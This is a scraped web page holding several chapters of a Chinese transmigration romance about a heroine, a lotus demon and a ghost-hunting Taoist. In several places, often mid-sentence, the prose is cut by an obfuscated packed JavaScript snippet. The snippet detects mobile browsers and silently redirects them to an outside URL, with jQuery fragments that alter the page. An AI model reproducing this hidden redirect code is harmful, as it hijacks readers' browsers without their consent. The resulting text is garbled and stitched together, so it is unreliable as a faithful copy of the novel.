奚逢秋依旧表情平静,“不疼。” “不对,不应该是这样!” 像是喃喃自语,苗献仪突然神情一滞,直到奚逢秋不解地唤了声“母亲”,她才转动瞳孔,改为双手抓住他的肩膀,用力过度而导致指甲嵌入他的皮肉中。 她瞪大双眼,表情狰狞,情绪再度陷入癫狂,几乎是用吼的。 “疼不疼!疼不疼!疼不疼!疼不疼!疼不疼!疼不疼!疼不疼!疼不疼!疼不疼!疼不疼!疼不疼!疼不疼!疼不疼!疼不疼!疼不疼!” 如一台插着电的复读机,除非得到她所期望的答案,否则会一直循环往复下去,永远不知疲倦。 不知重复多少遍,小奚逢秋摸了摸额头,不出意料,鲜血染红整只手,他神色僵滞地望着指尖的血红,慢腾腾地,终于改口。 “我好疼啊,母亲。” 他的声音很轻很轻,却足以让苗献仪疯魔的情绪得到安抚。 她收回施加在小奚逢秋肩上的力气,跟变了个人似的,将他抱在怀里,动作极致温柔地抚摸他的额头与脸颊,就连语速和声音都轻柔了不少。 “没关系,喝了药就不疼了。” 小奚逢秋没有任何表情变化,只静静地凝视着她。 苗献仪立即吩咐身后两名侍女去煎药,末了,加上一句“要跟以前一样的”。 没等多久,热腾腾的汤药送到。 苗献仪端来汤碗,让他赶紧喝药,只有这样才能伤口才能好得快。 小奚逢秋盯着她的指尖,那血红的颜色已分不清到底是鲜血还是丹蔻,但对她来说,或许都一样。 在苗献仪不断催促下,小奚逢秋捧过汤碗,终于是喝了药。 “对,就是这样,快喝下去!快喝!快喝!快喝!快喝!快喝!快喝!快喝!快喝!快喝!快喝!快喝!” 苗献仪眼珠瞪大,兴奋地不断重复一句话,在小奚逢秋喝过药后情绪又归于平静,脸庞忽地露出一抹娇羞的笑容。 “真乖啊我的阿秋,只要你一喝药,他就会回来了。” 为什么奚逢秋一喝药,他就会回来了? 这是什么道理? 虽然被系统告诫不允许插足男配的过去,可池镜花实在是太好奇了。 现在,她好像有点理解当初奚逢秋为何要对她的身份刨根问底,把这种得不到答案的问题憋在心里实在不好受。 许是注意到她赤|裸直接的目光,小奚逢秋看看两名丫鬟又看了看她,转身走到她跟前,转了转瞳孔,探出微凉的指尖,往她手心里塞了个小物件,露出个天真明媚的笑。 “送给你的,是礼物,因为夫子喜欢我写的字。” 掌心附着淡薄的凉意在盛夏中转瞬即逝。 她缓慢摊开手心,看见一个精致的红纸人,五官与她所附身的夫子一模一样。 11. 第11章 夜深人静,灯火阑珊。 应是“记忆回溯”的副作用,池镜花惊醒时后背沁出一层薄汗,呼吸异常急促,心跳也极快。 意识逐渐回笼后,她深吸几口气,慢慢摊开紧握的五指,不出意料,什么也没有,仿佛昭示着刚才借别人眼睛所看见的一切只是一场梦。 不过,当池镜花再度回忆起梦中苗献仪的古怪举动,不禁打了个冷颤。 难道说……他们家的人都不正常吗? 不过,想到奚逢秋的真身极有可能是莲花这点,池镜花对其很有好感。 左右睡不着,池镜花索性将木门偷偷开了一条缝。 空无一人的四周静悄悄地,唯有灯笼落下的烛光忽明忽暗,给看不见尽头的幽暗走廊披上一层诡异的色彩。 透过门缝,她看见对面奚逢秋的房间烛光闪烁,隐约有几道模糊的影子,无法判断里面的人在做什么。 ……该不会又是在剪纸人吧? 她低头望着空空如也的掌心,想起小奚逢秋最后送给夫子的纸人,分明是示好,可却令人脊背发凉瘆得慌。 她微微蹙眉,思考间,对面的灯火骤然灭了。 什么也瞧不见了。 ——希望他真的可以做个好梦。 池镜花默念完这句话,紧随其后地关上房门,躺回床上,却怎么也睡不着,直到快天亮的时候才迷迷糊糊再次睡过去。 翌日清晨,醒得也很早。 她睡眼惺忪地下楼时,远远地,瞧见奚逢秋又坐在昨日的靠窗位置,不过今日不止有他,男主赵星阑也在,还有一位从未见过面的女人,以及她身后的……哑女? 正是昨日在袁氏布庄门口塞给她纸条的哑女。 约莫是哑女老早就望见她了,加上又见过面,抿起唇,眼睛弯如月牙,一个劲地冲她笑。 池镜花不明所以地挠脸,回以尴尬的微笑,慢慢看向奚逢秋。 日光穿过窗棂投在他身上,乌黑的发丝在微风中轻晃,看着恬静又温柔,唯有耳边那血红最为扎眼。 察觉到她的灼灼视线,奚逢秋微微抬眸,四目相对,静默几秒,长睫如蝶尾轻颤,他先一步移开了目光。 此时,赵星阑回过头,冲池镜花打招呼,“池姑娘,你来的正好。” 在赵星阑的安排下,她坐在与哑女一道前来的女人对面,接着听见赵星澜热情地介绍她们二人。 原来,女人是袁老板的夫人袁李氏,哑女则是她的贴身丫鬟。 “你们所接到的悬赏令是我发出去的。” 袁夫人身形消瘦脸色极差,唇瓣毫无血色,一对眼球布满红血丝,泛白的指尖死死攥紧丝帕,她转动着漆黑的瞳孔,涣散的眼神略显僵滞。 “我知道你们昨日去布庄是为了调查闹鬼一事,所以才特地让小鱼引你们去州极桥附近。” 怪不得。 池镜花若有所思。 “原来是这样。” 池镜花循着的声音源头看去,只见金色的阳光半打在奚逢秋冷白的侧脸,如镀上一块暖色的薄纱,给人以温暖的错觉。 半暗半明间,他眼睫低垂,眉梢堆着清浅笑意,不知在想些什么。 赵星澜微微一笑,“夫人,不妨跟我们说说你目前所掌握的信息吧。” 袁夫人神色惊恐地点了点头,“那是一只女鬼,我亲眼见过,她就附身在那件红嫁衣上!” 谈及女鬼,袁夫人顿觉呼吸困难,她睁大双眼,唇瓣止不住地颤抖,恐惧之情更是溢于言表。 “可没有人信我……” 袁夫人幽幽的目光一一扫过众人,忽地眼珠一转,死死焊在池镜花脸上,扯起一个勉强的微笑。 “但你们去过州极桥,一定信我对不对?” 池镜花惊得绷直了身体,回想起墓地所发生的一切,只觉得手臂隐隐作痛。 一旁的赵星澜信誓旦旦地立下保证:“袁夫人你放心,我们既已接了你的悬赏令,就一定会替你解决此事。” 袁夫人时不时地点头,神情依旧恍惚,她半歪着脑袋,淡蓝色的珠钗在发间摇摇欲坠。 “其实今日我来这里是为了提醒你们,三天后,我夫君会出门谈生意,到时候你们可以登门捉鬼。” 赵星澜指尖摩挲着冰凉的白瓷茶杯,神色犹豫地问道:“夫人,一定要三天后吗?其实这种事情是越早解决越好的。” 袁夫人“唰”地一下扭过僵直的脖子,本就摇晃的珠钗“啪叽”砸向地面,发出一道清脆的响声。 “道长,你可不要害我!” “要是被相公知道我瞒着他找你们驱鬼,他一定会休了我的,一定会!!” 她语气极为肯定,音调不自觉地拔高几度,引得客栈内其他人纷纷望过来,眼睛瞪大到眼球似要蹦出眼眶,憎恨阴暗的视线死死定在赵星澜脸上,见几人不语,又面无表情地起身,硬扯出个诡异的笑容,行了个礼。 “那就麻烦诸位了。” 说完,她带着贴身丫鬟小鱼转身离去。 待两人的身影逐渐远去,池镜花扭过头,目光扫过奚逢秋时,看见他正带着笑意凝视着自己。 ……是也记起在墓穴发生的事情了吗? 池镜花一头雾水,目光自然地落到赵星澜身上。 “赵道长,我们真的要三天后再去袁氏布庄捉鬼吗?” 按赵星澜计划,原本他们该今日就去袁氏布庄找到那套红嫁衣,可这样看来,袁老板确实不太好安排。 他轻叹口气,“事已至此,只能这样了。” “刚才那位是袁氏布庄的夫人吧?” 就在这时,一位年轻的客栈伙计笑嘻嘻地给几人上了一壶热茶,“你们别听她瞎说,她自小产后脑子就坏了。” 小产? 原来袁夫人还有这段经历啊,会跟闹鬼一事有关吗? 还不能妄下定论。 她怔怔望向窗外,瞳孔映出明媚的日光,隐隐感到有些刺眼,恰有几只雀鸟经过,她恍然间想起什么,偏头看向奚逢秋时,露出几分期待的神色。 “奚逢秋,你能陪我出去走走吗?” 似是没想到话题会转得这样快,奚逢秋神情一滞,忽而弯起眼睛,好看的眉眼划开了个笑。 “好啊。” 男配答应得太过干脆,反而令池镜花有些许不安,不过这种感觉在出门后见到街上的景色便荡然无存。 今日天气很好日头强盛,只是像这样慢悠悠地漫步便已能感受到一阵热意,虽然已经入秋,但气温偶尔也会反弹。 他们出门的时间不凑巧,快要接近中午,街上没几个闲人,就属酒楼最为热闹。 池镜花抬头看见白鹤在半空飞着,虽然她从未与白鹤直接接触过,但经过前几次的事情,有个点她无比确定。 “他很聪明呢。” 不知是不是错觉,话音刚落,白鹤的雪白身躯忽地一顿,开心地拍打了两下翅膀。 像是听懂了她说得话一般。 奚逢秋微微偏头,一缕乌黑的发丝划过耳侧,露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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既然转移话题也行不通,池镜花索性不再硬聊,而是坚持初心,带着他一道漫无目的地瞎逛,累了的话就坐在方亭里歇会儿,假装看鱼儿抢食实则暗暗观察奚逢秋。 不过,每当她偷偷转过头时,总会被奚逢秋精准地捕捉到目光,这时候,池镜花就会以更快地速度撇开视线,继续当做什么也没发生过的样子。 一声轻笑如微风轻轻抚过她的耳廓。 有点痒。 但她心理素质极佳,权当没听见。 这种情况一直持续到傍晚,温柔的夕阳笼罩着水墨画般的江南小镇,迎面吹拂的晚风裹携着江边湿冷的水汽。 气温已不像白日那般高。 一路上,行人寥寥无几,待他们回到客栈时,天已经完全黑了。 他们穿过热坐满客人的一楼,站在客房门口,池镜花搓了搓手,仰起头,一双亮晶晶的眼眸里盛满笑意。 “今天谢谢你陪我出门啊,奚逢秋。” 奚逢秋神色淡淡,唇角勾出了个笑。 “我只是很好奇。” 她不解地眨眼,“好奇什么?” “我想要知道你今天为何要出门?” 烛光摇曳,缠绕在逢奚秋指尖的细线隐隐泛着银白色的光芒,他微微抬眸,平静如水的眼底映出少女疑惑的神情。 “明明没有出去的理由,不是吗?” 12. 第12章 出门的理由…… 池镜花怔怔地望着他,严格来说并非毫无想法。 在得知袁夫人小产过时,池镜花立刻联想到奚逢秋,虽然一人一妖身份截然不同,不过看上去身体都不太好的样子。 既是花妖,那可不就得多晒晒太阳嘛。 所以她带他出门自然是进行光合作用! 这么说估计不太行,池镜花索性换了个通俗易懂的说法。 “晒太阳!” 她的语气斩钉截铁,想了想,不大放心地笑着补上一句:“今天天气很好,所以我想和你一起晒太阳。” “原来是这样。” 他看上去不太惊讶,鸦黑的睫羽低垂,在脸颊处投下一小片的阴影,极为好看的唇畔微微扬起。 “所以……你是怎么知道的?” 虽不曾挑明,但他们彼此心知肚明指的是奚逢秋的真实身份这件事。 事实上,奚逢秋从未刻意隐瞒过自己的身份,只是没有人察觉,硬要说的话,池镜花算是第一个,他不觉得诧异,只是很好奇她是如何知晓的。 “额……猜到的。” 池镜花心虚地眼神瞟向别处。 奚逢秋的问题如一根无形的长钩,勾起了她梦中的记忆,池镜花想起奚逢秋小时候所发生的部分事情,也始终想不明白他的母亲为何要那般对待他。 耳边安静至极,隐有若有似无的淡淡清香萦绕在她的四周,待池镜花回过神来,发现奚逢秋已经逼近。 他垂下眼眸凝视着她,宛如深海的眼底闪烁着疑惑的细碎星光。 “如何猜到的?” 空荡荡的走廊只有他们二人,在忽暗忽明的烛光下,一切景色终将变得模糊。 池镜花斟酌半晌,视线绕了一圈,落在他指尖的白线上。 “你的兵器跟普通人的不太一样。” 事实上,她从未见过有人跟奚逢秋一样,指尖能够长出一缕缕白色的丝线,不仅伸缩自如,而且可以强化力量用作武器。 奚逢秋仍旧不解地歪了歪头,耳际的一缕黑发随着摇曳的耳铛轻轻晃了几晃,温柔的烛火映在他冷白的脸颊落下一小片暖色。 “只是这样吗?” 池镜花继续实话实说:“不止,你体内的毒素也很奇怪,更重要的是,你身上有一股淡淡的莲花香气。” 末了,她表情无比认真地补充道:“很好闻。” 不知别人怎么看,反正她很喜欢。 奚逢秋弯了弯双眸,“嗯,你很聪明。” 这不是她第一次从奚逢秋口中听到类似的话,分明是褒奖,可她总觉得哪里奇怪,也许是因为她总能将局面变得朝自己有利的方向发展。 可这也没办法,跟奚逢秋这种脑回路不正常的人,哦不,妖相处,她必须得放机灵点。 奚逢秋蓦地又靠近半步,烛火颤颤悠悠,少年逼近的身影如一块硕大的黑幕,完全笼罩着她。 “你是第一个猜对的,该给你点什么奖励好呢?” 奖励…… 虽然他是说“奖励”,可池镜花总觉得有股莫名的冰冷的凉意从脚底升腾,逐渐演变为种惊悚的感觉。 池镜花想要后撤,可身后已无路可退。 她稍稍抬头,只见少年唇角挂着浅笑,目光虽然定定地落在她脸上,但双眸似乎只有闪烁的烛火,却没有她的身影。 似乎完全沉浸在他自己的世界里。 “啊,想到了。” 没过多久,奚逢秋瞳孔微转,不知想到什么,视线一晃,眼底的兴奋之情稍纵即逝。 “不过得劳烦你再等等。” 没有给池镜花反应的时间,他的身影已消失在幽暗走廊的尽头。 池镜花完全不知道他将会做什么。 她虚靠墙壁抚着心口,短暂地松了口气,但很快,见奚逢秋一直没有回来,便陷入一种深深的不安当中。 有点害怕他做出什么出格的事情来。 为寻奚逢秋,池镜花将能去的地方都找了一遍,甚至还敲开了男主房间的门,无意与看见男女主亲密交谈的画面。 可池镜花现在没有磕CP的心情,只要奚逢秋还没回来,心中就如同悬着块巨石,吃起饭来都没滋没味的。 转眼已是深夜,池镜花喝完一杯茶,不经意地抬头,看见门外伫立着位熟悉的漆黑身影。 她立马起身开门。 果不其然是奚逢秋。 夜深露重,他穿梭在夜间,面颊沾上了些许晶莹透明的露水,低垂的睫羽挂着细小的水珠,莫名散发有种阴冷的气息。 “我可以进去吗?” 他并非直接推门而入,而且言语温柔地请求她的意见,唇边也漾起示好的微笑。 池镜花无法拒绝。 在他进来以后,借着忽明忽暗的烛灯,池镜花看见他怀里似抱着什么,打开才发现是一袋糕点。 ……所以他大晚上的,出去几个时辰,就只是为了买糕点? 简直不能理解。 池镜花正想得出神,寂静的耳边忽然响起奚逢秋稍显困惑的声音。 “不坐吗?” 池镜花抬目望去,只见端坐在桌子前的奚逢秋凝视着她,摇曳的耳铛在他脸颊一侧投下斑驳的影子,似乎是想要她坐在他身边。 她只好硬着头皮坐在他身边,离得近了,才看见垫着油纸的玉白糕点隐隐冒着些许热气。 像是刚做出来不久。 池镜花惊诧地睁圆了眼睛,想起奚逢秋所说的“奖励”一事,不由好奇地问了出来。 “这是……奖励?” 客栈老旧的窗棂被瑟瑟冷风拍打得嗡嗡直响,烛火张牙舞爪,似要吞噬一切暗色和阴影。 奚逢秋轻“嗯”一声,看上去乖巧又无害。 池镜花却只觉得脊背发凉。 按理说,她猜到了奚逢秋的真实身份,他不生气也就算了,居然还要给她奖励。 奇怪,奇怪,太奇怪了。 见池镜花迟迟未动,奚逢秋轻轻弯了弯双眸,明亮的烛火在他瞳孔中飞舞,眨眼间露出个温柔和煦的笑容。 “要我喂你吗?” “啊……啊?” 太过震惊,池镜花愣住片刻,本能地想说“不用”,可转念一想,其实这也不失为增加好感度的好时机,况且,这是奚逢秋自己提出来的,她顺坡下驴不算过分。 “……好。” 她看似从容不迫地轻轻点头,接受了奚逢秋的好意,实则已经尴尬地双手攥紧衣裙,紧张地绷直身体。 奚逢秋缓缓垂眸,附着雾气的长睫如蝶翅羽轻颤,抬眸时眼底漫上一层雾蒙蒙的水气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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……这是杀不掉她所以要撑死她吗? 吐槽归吐槽,在他的热情投喂下,池镜花还是忍住尴尬又吃下几块。 烛火明明灭灭,细长的白烛已矮了半截,滴在桌面的泪蜡凝成厚厚一层。 奚逢秋纤长的睫羽低垂,宛如蝶翅微微颤动,落在的面颊上的月牙在冷风中轻轻摇曳。 他依旧弯着眼睛,面上笑容不减,深不见底的眼底倒映出少女姣好明媚脸庞。 看上去心情极好的样子。 他是高兴了,池镜花却越看越奇怪,总觉得奚逢秋注视她的目光像是透过她在看谁。 有点像在看……白鹤? 白鹤! 奚逢秋看她的眼神就跟他在河边观察白鹤时的一模一样。 蓦然间,池镜花恍然大悟。 猝然刮来的一阵夜风差点吹灭蜡烛,烛火猛地窜高,四周忽地亮了几度,悠悠荡荡的火光映在少女亮晶晶的的双眸中。 在奚逢秋再一次递过糕点时,池镜花神情认真,一字一句态度坚决地拒绝了他的投喂。 “奚逢秋,我不是你豢养的小动物。” 13. 第13章 无论如何,池镜花绝不是什么白鹤,更不可能成为白鹤那般的存在,若奚逢秋真拿她当宠物对待了,她只有将他这不正常的想法扼杀在摇篮里。 “为什么?” 察觉到池镜花微妙的情绪变化,奚逢秋指尖一顿,慢慢收拢五指,淡淡视线垂落又抬起,颇为疑惑地凝视着她。 “是点心不喜欢吗?” 池镜花轻摇头否认,“不是。” 奚逢秋微微低头,烛火映照下的长睫轻轻颤动,遮挡眼底流露的情绪,声音很低很低,像干燥的羽毛晃过她的耳畔。 “那是为何?为何你会觉得自己是我养的动物?” 像是他在自我提问。 池镜花表情一噎。 她本来很是生气被奚逢秋当做宠物对待,现在突然想到会不会误会了他? 顿时,所有的怒火消散于风中。 “奚逢秋。” 轻轻摇曳的暖色灯火下,池镜花直接喊了他一声,直白的目光定定地缝在他身上,毫不犹豫地阐明压在她心底的疑问。 “你刚才没有把我当成小动物吗?” “嗯,没有。” 奚逢秋缓慢抬眸,跃动飞舞的火光立刻钻入他平静的眼底,下一瞬,病态面容逐渐漫上一层浅浅的笑意。 “因为你猜对了我的身份,所以想给你一些奖励,仅此而已。” 又是奖励。 谈及的次数多了,池镜花好像有点理解他的思维模式。 也许在他的认知中,“投喂”这一行为只是奖励的一种方式,无外乎对方是谁。 当然,在此之前,他最多的奖励对象正是如影随形的白鹤,所以池镜花才会觉得他看她的眼神像白鹤。 所以,一切只是场误会。 池镜花打从心底松了口气。 毕竟,她只想做人。 “但是好像失败了。” 就在此时,寂静的耳边倏忽传来一道略带遗憾的清列嗓音。 池镜花闻声望去。 悠悠晃晃的烛火在他脸上投以斑驳的阴影,奚逢秋一直微微笑着,只是笑容里似隐约透露出难得的颓废和挫败,声音变得又低又缓。 “原来,你讨厌这些啊。” 既然池镜花并非厌恶食物,那就只能是讨厌喂食的举动,可他只是想给予第一个猜出他身份的对象一点奖励而已,没想到就这么轻易地搞砸了。 奚逢秋甚觉可惜,垂下纤长的睫羽,唇瓣一张一合,低声道:“抱歉,是我疏忽了,下次不会了。” 像这样诚心诚意的道歉似乎是他们认识以来的第一次。 可这本就是个误会,叫她心安理得接受这个道歉良心上有点过不去。 池镜花神色怔松片刻,尴尬得忙不迭地摆手,“没有没有,我不讨厌,一点也讨厌。” 话音落下,眨眼间,少年先前的所有阴霾情绪一扫而空,取而代之的是眉眼间如潺潺春水般的温柔的笑。 他又递来一块白玉糕,正笑盈盈地看着她。 “那要再吃一块吗?” ……不是,他怎么对投食这么执着啊? 池镜花斟酌几秒,想着权当是误会他的补偿得了,不过以防万一,有件事她必须得提前确认。 她眨了眨眼睛,“是最后一块吗?” 奚逢秋不可置否地轻“嗯”一声。 得到他的回复,池镜花才微微俯身靠近,吃下最后一块糕点。 少女耳际乌黑柔软的发丝缓慢坠落,无意贴上他微凉的指尖,仅是停留片刻,便随着池镜花起身的动作悄然滑走。 炽热的痒意像死死缠住他的水草,奚逢秋垂眸,以指腹轻轻摩擦,一寸寸拭去她在不经意间所留下的痕迹。 他缓慢抬头,看见池镜花吃下他所投喂的最后一块白玉糕时,顿时,笑得更开心了。 池镜花突然觉得他还挺好哄的,就是有点费嘴巴。 正当池镜花有此想法时,奚逢秋似乎也愈发高兴,含笑的视线从她鼓起的脸颊移至双眸,拖长的尾音稍显甜腻。 “就这么放心我不会下毒吗?” 什么? 毒?? “咳——” 话锋突转,池镜花脑海里突然想起黑妖死前恐怖的画面,猛地呛到,硬咳几声,眼泪都差点被逼出。 就在她到处摸水杯的时候,一只冰凉的瓷杯就刚好出现在她手里。 池镜花毫不犹豫地贴在唇边,等她喝下一口才意识到方才给她递水的人是奚逢秋。 她讷讷仰头,殷红的唇瓣还残留着晶莹透亮的水珠,微微张口,却不知道要说什么。 恰巧奚逢秋也在望她。 四目相对,冷风无情敲打窗棂,传来阵阵吱呀的诡异响动,横在二人中间的烛火晃得更加厉害,逐渐模糊四周画面,唯有眼前之人却愈发清晰。 忽暗忽明的光线下,奚逢秋单手支脸,半歪着脑袋,血红的耳铛划过冷白侧脸,墨发顺势垂于耳侧,眉眼间瞧着愈发温柔。 “也许……我给这杯水也下毒了呢。” ……真是够了! 不是都有10%的好感度了吗?这个人怎么还是无时无刻不是想着杀她,就是威胁恐吓她? 好气啊! 但池镜花仔细一想认为这事绝无可能,虽然她跟奚逢秋认识不久了解不深,但以他的性格绝不会偷偷下毒,而且,她死了,对他也没什么好处,只有她活着,他才有可能知道她穿书的秘密。 池镜花继续淡定喝茶,正是奚逢秋递来的那杯,用实际行动表明她压根不信他说的一切。 “或许是真的呢。” 像是看穿她的小动作,鲜红的耳饰于半空飞速划过,奚逢秋蓦地倾身靠近,眼底分明漾着柔和的笑,言语间却流露出丝丝冰冷阴沉的杀意,犹如一把藏起的暗器。 “毕竟我一直都很想杀了你。” 四周再无第三者,奚逢秋就这样毫不遮掩地袒露心迹,眼底闪烁着异样的光芒,兴奋和遗憾之情稍纵即逝。 “只是你太聪明了,一眼就猜出我的身份,却不肯告诉我你的秘密,该如何是好呢?” 他的声音轻轻慢慢,像是在说话的同时思考对策,什么对策池镜花不知道,但她很是头疼。 兜兜转转,为什么话题总是能被他绕到这上面来? 她深深叹口气,捧着个杯盏,落寞地垂下微卷浓密的睫羽,耷拉着个脑袋,瞧着无精打采的,就连头发丝都蔫蔫的。 “反正我现在已经中毒了,都活不长了,秘密什么的还重要吗?” 对于她这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244790|166345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 普通人来说,生死最大,毕竟不是所有人都像奚逢秋那样不顾生命。 奚逢秋既没有接话也没有反驳她,他垂下纤长的睫羽,静静凝视着池镜花的即兴表演,未曾注意到自己的唇角已然扬起。 似是想起什么,池镜花骤然抬头,眨着亮晶晶的双眼,露出期盼的神情。 “既然我都中毒死定了,念在我们相识一场的份上,可以请你帮我个忙吗?” 莫名被她的情绪所牵引,在池镜花说出“死”字时,如同受到惊吓的蝴蝶颤了一下,他长睫颤了一下,下意识地问道:“是什么?” 池镜花弯起眼睛,豁达地笑了笑,“等我死后,你一定要记得替我收尸啊。” 似是被她拙劣的演技逗乐,奚逢秋不由得轻笑一声,轻轻应了声,回了个“好”。 “谢谢你,奚逢秋。” 做戏做全套,该谢还得谢,哪怕他恶趣味十足。 池镜花瞳孔转了一圈,虽说他压根不信奚逢秋会下毒,但实在不愿再被他试探,干脆就着此事礼貌地下达逐客令。 “那现在可以让我一个人待着吗?我想最后享受一下独处的时光。” 她的意思很明显,奚逢秋并非不知趣的人,更何况,他的目的已经达到了。 “如此,便不打扰你了。” 他微微笑着起身,冰凉的衣角不经意拂过池镜花的脚踝。 池镜花避无可避,脚踝处的皮肤像是被毒蛇咬了一口,酥麻和凉意翻涌而上。 她不禁打了个冷颤,回过神,奚逢秋已离去并贴心地帮她将门带上。 淡淡清香逐渐消散,风不知何时也息了,四周归于安静,烛火将坐在凳子上的少女模糊的身影投向地面。 池镜花用手揉了揉脚踝,又闻了闻瓷杯,什么气味也没有,倒是被他碰过的杯盏外沿有股极为好闻的香气。 莲花啊…… 想起奚逢秋的真身,池镜花满脑子闪过皆是“高贵”“洁白”这样的字眼,跟奚逢秋一点也不像。 破案了。 他一定是朵黑心莲! 但是算了,谁让他是她挑中的人呢。 抱有此想法,池镜花沉沉睡去。 在她闭眼的同时,客栈一楼空旷的大院里,四周黯淡无光,只有门口屋檐下高高悬挂着几盏旧灯笼,却照不到奚逢秋与白鹤所在的偏僻角落。 有时候,他会与白鹤互动。 比如,给他喂鱼。 当看见白鹤竭尽全力伸着白净纤长的脖子去够他手中的鲫鱼,最后终于吃上食物开心地发出一声脆亮的鹤唳时,奚逢秋轻扬唇畔。 对他来说,相伴多年的白鹤不仅可当他的眼睛,还可逗趣解闷,虽然它无法言语,但却能听懂别人说的话。 因此,他以前总觉得逗弄白鹤是一件极为有意思的事情,但现在,似乎发生了点变化。 脑海毫无缘由地骤然闪过他给池镜花喂点心的画面,不知为何,在给白鹤喂鱼时,奚逢秋心中忽地升起一股极其怪异的感觉。 不够。 哪里不够。 他一眨不眨地盯着专心吃鱼的白鹤,突然直直歪过脑袋,藏于黑暗的血红耳铛猛地一晃,面上笑容不再,瞳孔僵滞空洞毫无色彩。 “你怎得……好像无趣了一些?” 14. 第14章 依旧是个阳光明媚的好天气。 耀眼的日光透过半开的窗棂,将斑驳树影投在随风摇动的浅色床慢上。 池镜花被叽叽喳喳的鸟声吵醒,只是不知为何,睁眼时身体很是沉重,脑袋也晕晕乎乎的,但很快便恢复精神。 也就没太当回事。 池镜花快速收拾好来到客栈一楼,不出所料,看见奚逢秋坐在老位置上。 金色日光斜洒在他的肩头,模糊的影子落在脚边,偶有清风扬起他的几缕发丝,耳铛也轻轻划过颈侧。 奚逢秋微微垂着头,虽辨不清具体神情,唇角轻轻勾起,看来是昨晚的好心情持续到了现在。 池镜花走近,发现他面前摆着一碗不曾动过的白粥,思忖片刻,微微弯腰倾身靠近,冰凉柔软的乌发从颈侧缓慢滑落垂于胸前。 少女的唇瓣几乎是贴着他的耳边,轻轻落下的声音夹杂着止不住的笑意。 “看来你没有给我下毒呢。” 或许是离得太近,奚逢秋清楚地感知到少女每一次的心跳频率,以及呼吸时所带出的灼热气息,在他耳边盘旋良久。 他稍稍偏过头,在二人鼻尖只隔不足半拳的距离时,恰好对上池镜花满含笑意的清澈双眸,不禁也划开了个笑来。 “嗯,是这样。” 他轻轻点着头,态度温和,完全没有反驳她的意思。 池镜花自觉没趣,本还想看看他嘴硬的模样,仔细一想,他似乎也不是这类人。 在她眼里,用“限定温柔、偶尔发疯”八个字来形容奚逢秋最贴切不过。 池镜花坐到对面,一言不发地喝完白粥,放下瓷碗后左右张望,左等右等就是不见男主身影,不由自主好奇地看向对面。 “对了,你有看见赵道长吗?” 听见赵星阑的名字,奚逢秋缓慢抬眸,视线直直地落在她的脸上,沉默几秒,抬起苍白的指尖指向池镜花的后方。 “那边。” 池镜花轻轻道了声“谢谢”,二话不说地往客栈后院方向走去。 视线中少女熟悉的身影越来越模糊,奚逢秋长睫轻颤,忍不住起身跟了过去,也许只是好奇她要做什么。 池镜花的想法其实很简单——她要学技能。 虽然不知短时间内能不能学会,但敌人是女鬼,她总得会点技能傍身,男主是道士,妖鬼的克星,找他准没错! 客栈的后院很是宽敞,除了堆放一些不常用的工具,院里还种了几颗树,应当有些年头,不仅枝繁叶茂,树干也相当粗|壮,年代最为久远的树下有一个石桌和四只石凳。 而赵星澜正是在此画符。 听到池镜花是来找自己的,赵星澜神色诧异,不过得知她是特地来学习符箓之术,若有所思地点了点头。 池镜花想到自己并非山中弟子,就这么找男主学习齐云山的术法,确实有些冒昧了。 她笑着不大好意思地挠了挠头,“若是赵道长觉得不方便也没关系,我再想想别的办法。” “这倒不是。” 怕被误会,赵星澜连连摆手,急忙解释道:“池姑娘所言极是,普通人面对妖鬼什么都不会难免不妥,只是门中术法有些晦涩难懂,我方才是在思考,赵某究竟用什么方法解释给你听比较好。” 见男主不反对,池镜花笑着道谢,赶紧找个石凳乖巧坐下,一副求知若渴的表情。 只不过,她不曾想到奚逢秋也跟过来了,还坐在她对面,正托着脸颊笑意盈盈地凝视着她,却是一句话不说。 池镜花完全不懂他在想什么。 不多时,赵星澜已摆好黄色符纸、朱砂墨和毛笔,见状,他微微侧头看向坐在身侧的奚逢秋,颇为疑惑地问:“奚公子也有兴趣吗?” 从枝叶缝隙所漏下的阳光照在他的眼里,宛如透进深海的点点星光,映出别样的光彩。 奚逢秋的目光始终只落在她身上,唇畔扬起微不可察的微笑。 “她有兴趣。” 言外之意:他只是来陪着她的。 这么说好像也没毛病。 池镜花忙不迭地接下话茬:“嗯对,是我有兴趣,他是来陪我的。” 她边说边悄悄观察奚逢,发现他似乎没什么特别之处,硬要说哪里不同的话,就是笑得更开心了。 不过她已经习惯了。 见他二人“相处甚是融洽”,赵星澜并未多言。 在随后的一个时辰里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244791|166345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他慢条斯理地将简单的符箓知识传授给池镜花。 不过,他说得再通俗易懂也没用,这种事情还得实际操作。 